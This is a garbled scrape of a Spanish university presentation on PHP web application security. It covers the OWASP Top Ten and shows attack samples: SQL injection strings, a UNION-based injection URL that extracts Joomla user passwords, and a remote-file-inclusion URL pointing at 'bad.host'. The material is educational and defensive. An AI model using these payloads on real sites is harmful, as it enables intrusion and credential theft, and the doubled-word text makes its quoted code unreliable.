1. Explique para qué es y para qué sirve un lenguaje de programación. 2. Realice un cuadro comparativo de las ventajas y desventajas que ofrecen las aplicaciones web en relación con las apl…Descripción completa
En los últimos años se está dando un cambio de rumbo en la programación de aplicaciones informáticas: el paso de aplicaciones de escritorio a aplicaciones web. Esto responde por una parte a …Descripción completa
Descripción completa
aplicaciones webDescripción completa
Descripción: Especializacion en Seguridad Informatica
Exploración de los problemas particulares de seguridad que presentan las aplicaciones web, y enumeración de los distintos tipos de ataques o amenazas externas a las que se puede enfrentar. D…Descripción completa
Prueba de Aplicaciones Web-pressmanDescripción completa
Despliegue Aplicaciones WEB - GarcetaDespliegue Aplicaciones WEB - Garceta Despliegue Aplicaciones WEB - GarcetaDespliegue Aplicaciones WEB - GarcetaDespliegue Aplicaciones WEB - GarcetaDesp…Descripción completa
Descripción: Ultima actualizacion 10/12/2008
Esta obra tiene una orientación fundamentalmente práctica. Consiste en una secuencia de prácticas resueltas diseña-das para facilitar al lector/alumno la adquisición de habilidades y conocimientos ...Full description
Desarrollo de aplicaciones web
2015
Informatica
protocolDescripción completa
Descripción: Desarrollo de Aplicaciones Móviles Web
Para crear un programa de consola en Java utilizando NetBeans 5.0 lo primero que hay que hacer es crear un proyecto. Un proyecto nos permite administrar los archivos con el código fuente y…Descripción completa
Descripción completa
Modulo III Desarrollo de Aplicaciones WEB y MÓVILES Submódulo I Desarrollo de aplicaciones WEBDescripción completa
Seguridad de datosDescripción completa
Seguridad en Aplicaciones Web Basado en la programación en PHP
Alumno Alumno:: Camilo Camilo José José Ponce Ponce Director: Lic. Francisco Javier Díaz Co-Directo Co-Director: r: Lic. Claudia Claudia M. Banchof Banchofff Tzancoff Tzancoff
Motivación
El crecimien crecimiento to del desarroll desarrollo o web va en aumento. aumento.
Los peligros peligros que presenta presenta la exposición exposición de una una aplicación web son muy importantes.
El número de incidentes de seguridad se incrementa cada año.
El desarroll desarrollo o de aplicaciones aplicaciones web web seguras seguras se convierte convierte en una tarea cada vez más importante.
Los desarrolladores de Sistemas deberían poseer nociones de Seguridad Informática básicas.
Objetivos
El presente trabajo tiene como principal pr incipal objetivo el análisis de vulnerabilidades en diferentes Aplicaciones Web y su solución. Se implement implementó ó una aplicació aplicación n en la programación programación PHP que que cuenta con lecciones prácticas para aprender a detectar y resolver vulnerabilidades comunes en Aplicaciones Web. La aplicación contiene parte del temario de la materia “Proyecto de Software”, podrá podrá ser utilizada utilizada por los alumnos alumnos para aprender en la práctica con ejemplos simples como funcionan estas vulnerabilidades y podrán también extender el temario de las lecciones que la aplicación cuenta hasta el momento.
Aspectos de Seguridad en Desarrollos de Aplicaciones Web
Algunos puntos importantes para obtener una aplicación segura:
Contar con una gestión organizacional que apoye fuertemente a la seguridad Establecer una metodología de desarrollo des arrollo Administración segura de la aplicación
Pilares de seguridad segur idad de la Información Información
Confidencialidad Integridad Disponibilidad
Principios de Seguridad
Minimizar Minimiz ar el área área de posibles ataques
Valores por defecto seguros
Principio de Mínimo Privilegio
Separación Separación de Deberes Deber es
Controlar las Posibles Fallas
Seguridad a través de Ocultamiento Ocultamiento de Código ( Obsc bscuri ur i t y )
Arregl Arre glar ar de manera correcta un problema de seguridad
Uso de Sistemas Externos
El Proyecto OWASP
Open Open Web Web Applic Applicatio ation n Sec Security Projec roject
http://www.owasp.org/
El proyecto proyecto está dedicado a encontrar e investigar las las causas del software software inseguro.
Es una organización sin fines de lucro.
La participación en OWASP es libre libre y está abierta abierta para todo todo el mundo. mundo.
Produce la mayoría de su material en forma abierta y colaborativa.
OWAS OWASP P Top Top Ten Ten http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project OWASP presenta en consenso las diez vulnerabilidades más críticas en Aplicaciones Web.
1.Cr 1.Cros osss Site Site Scri Script ptin ingg (XSS) (XSS) 2.In 2.Injec jecti tion on Flaw Flawss 3.Ejecución maliciosa de archivos 4.Referencia insegura a objetos propios de la aplicación 5.Cr 5.Cros osss Site Site Re Requ ques estt Forg Forger eryy (CSR (CSRF) F) 6.Pérdida de la información y manejo inapropiado de errores 7.Vulnerar Autenticación y Administración de Sesiones 8.Almacenamiento Criptográfico Inseguro 9.Comunicaciones Inseguras 10.Fallo en el acceso a URL restringidas
XSS
Ocurre cuando una aplicación toma los datos suministrados por el usuario y lo envía al navegador sin validación ni codificación de contenido.
XSS permite al ataque ejecutar scripts en el navegador de la víctima, robar sesiones de usuario, modificar sitios web, etc.
Tipos de XSS:
Ref l ect ed
St or ed
DOM Inj ect ect i on
Inje Inject ctio ion n Flaw Flaws s
Particularmente SQL Injecti Injection on,, ocurre cuando los datos del usuario son enviados a un interprete como parte de un comando o query. query.
Si la entrada del usuario es pasada al intérprete sin validación ni encodeo, la aplicación es vulnerable. $sql = "SELE "SELECT CT * FROM FROM tabla WHERE WHERE id = '" . $_RE $_REQUE QUEST[ ST['id’] 'id’] . "’"; "’";
Para impedir injections usar APIs seguras, tales como queries parametrizados parametrizados fuertemen fuertemente te tipados tipados y librerías librerías de de mapeo de objetos objetos relacionales (ORM). (ORM).
Estas interfaces manejan toda la fuga de datos (“data (“ data escaping”) escaping”) o no poseen escaping. escaping.
Mientras que las interfaces seguras resuelven el problema, la validación es recomendada además para detectar ataques.
SQL Injection $idThread = $_POST['idTh _POST['idThread']; read']; $sql sql = 'SEL 'SELEC ECT T titulo FROM FROM threads threads WHER WHERE E idThrea idThread d = ' . $idThre idThread ad;; if ( !es_nu !es_nume merico rico($ ($idThre idThread) ad) ) { // No es un número, mensaje de error y exit ... } Código HTML Finalmente… SELECT SELECT titulo FROM FROM thread t hreadss WHERE WHERE idThrea idThread d = 4; DROP DROP TABLE TABLE usuarios usuarios
SQL Inject Injection ion en PHPPHP-Nuk Nuke e o
Injection on en la versión 6.9 y PHP-Nuke fue vulnerable a ataques de SQL Injecti anteriores.
o
El archivo vulnerable es /modules/Web_Links/index.php Código vulnerable: ---------------------------------------------------[...] function function viewlink($ viewlink($cid, cid, $min, $min, $orderby, $orderby, $show) $show) { [...] $resul $resultt = sql_qu sql_query ery(("select "select titl itle, e,pa parent rentid id from ".$pref ".$prefix."_li ix."_links_ca nks_catteg egori ories es where cid=$cid cid=$cid"" , $dbi); list($title,$parentid)=sql_fetch_row($result, list($title,$parentid)=sql_fetch_row ($result, $dbi); [...] $title=""._MAIN."/$title"; echo "
< "
" ">"._CATE ._CATEGORY. GORY.": ": $title
"; echo "
"; [...]
o
SQL Inject Injection ion en Joom Joomla! la! o
Se encontraron vulnerabilidades sobre Sql Sql Inje Injecction tion en Joomla!. Las mismas afectan al módulo Simp Simple leFAQ FAQ 2.11 2.11,, este módulo funciona tanto en Mambo como en Joomla. Joomla.
o
Mediante Mediante esta url puede explotar explotarse se la vulnerabil vulnerabilidad: idad: http://localhost/mambo/index.php?option=com_simplefaq & task=answer task=answer & Itemid=9999 Itemid=9999& catid=9999& aid=-1/**/union/**/select/**/0,username,password, aid=-1/**/union/**/select/**/0,username,password, 0,0,0,0,0,0,0,0,0,0,0 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 ,0,0,0,0,0,0/**/from/**/mos /**/from/**/mos_users/* _users/* Cuando Cuando se ejecuta con éxito, éxito, el servidor servidor nos devuelve devuelve una lista lista de logins y passwo passwords rds en forma formato to MD5. MD5.
Ejecución Maliciosa Maliciosa de Archivos Arch ivos
El código vulnerable en la inclusión remota de archivos a rchivos permite incluir código y datos hostiles.
Los desarrolladores a menudo usan o concatenan entradas potencialmente vulnerables.
En muchas muchas plataformas plataformas los framewo frameworks rks permiten permiten el uso de referencias referencias a objetos objetos externos, externos, URLs o referencias referencias al sistema sistema de archivos. archivos.
Esto permite realizar: Ejecución de código remoto root kit remoto Instalación de roo
Un constructor conocido como vulnerable muy común es: include include $_REQUEST[' _REQUEST['nomb nombre_archivo’ re_archivo’]; ];
Ejecución Maliciosa Maliciosa de Archivos Archiv os en phpBB o
o
o
El error existe para la versión 2.0.10 y anteriores, puede agregarse código malicioso de la siguiente forma en el archivo /admin/admin_cash.php ….. if ( !emp !empty($ ty($setm setmodu odules) les) ) { include($ include($phpbb_ phpbb_root_path root_path . 'includes/func 'includes/functions_c tions_cash.'.$ ash.'.$phpEx phpEx); ); $me menu nu = array(); array(); admin_menu($menu); …. El path path raíz que utiliza utiliza el el includ include e es el inse insegu guro ro …… $phpbb_roo phpbb_root_path t_path = "./. "./../" ./";; require($phpbb_ require($phpbb_root_path root_path . 'extension.inc 'extension.inc'); '); require('./pagestart.' . $phpEx); include($ include($phpbb_ phpbb_root_path root_path . 'includes/func 'includes/functions_selec tions_selects.'.$ ts.'.$phpEx phpEx); ); ….. Cualquiera puede reescribir estos parámetros parámetros con pedidos GET o POST. http://victim.host/phpBB2/admin/ admin_cash.php?setmodules=1& phpbb_ phpbb_ root_path=http://bad.host/
Referencia insegura a objetos propios de la aplicación
Un desarrollador expone una referencia a un objeto obj eto de implementación interna como un archivo, directorio, registro de base de datos, clave, URL o parámetro de un form. form. ">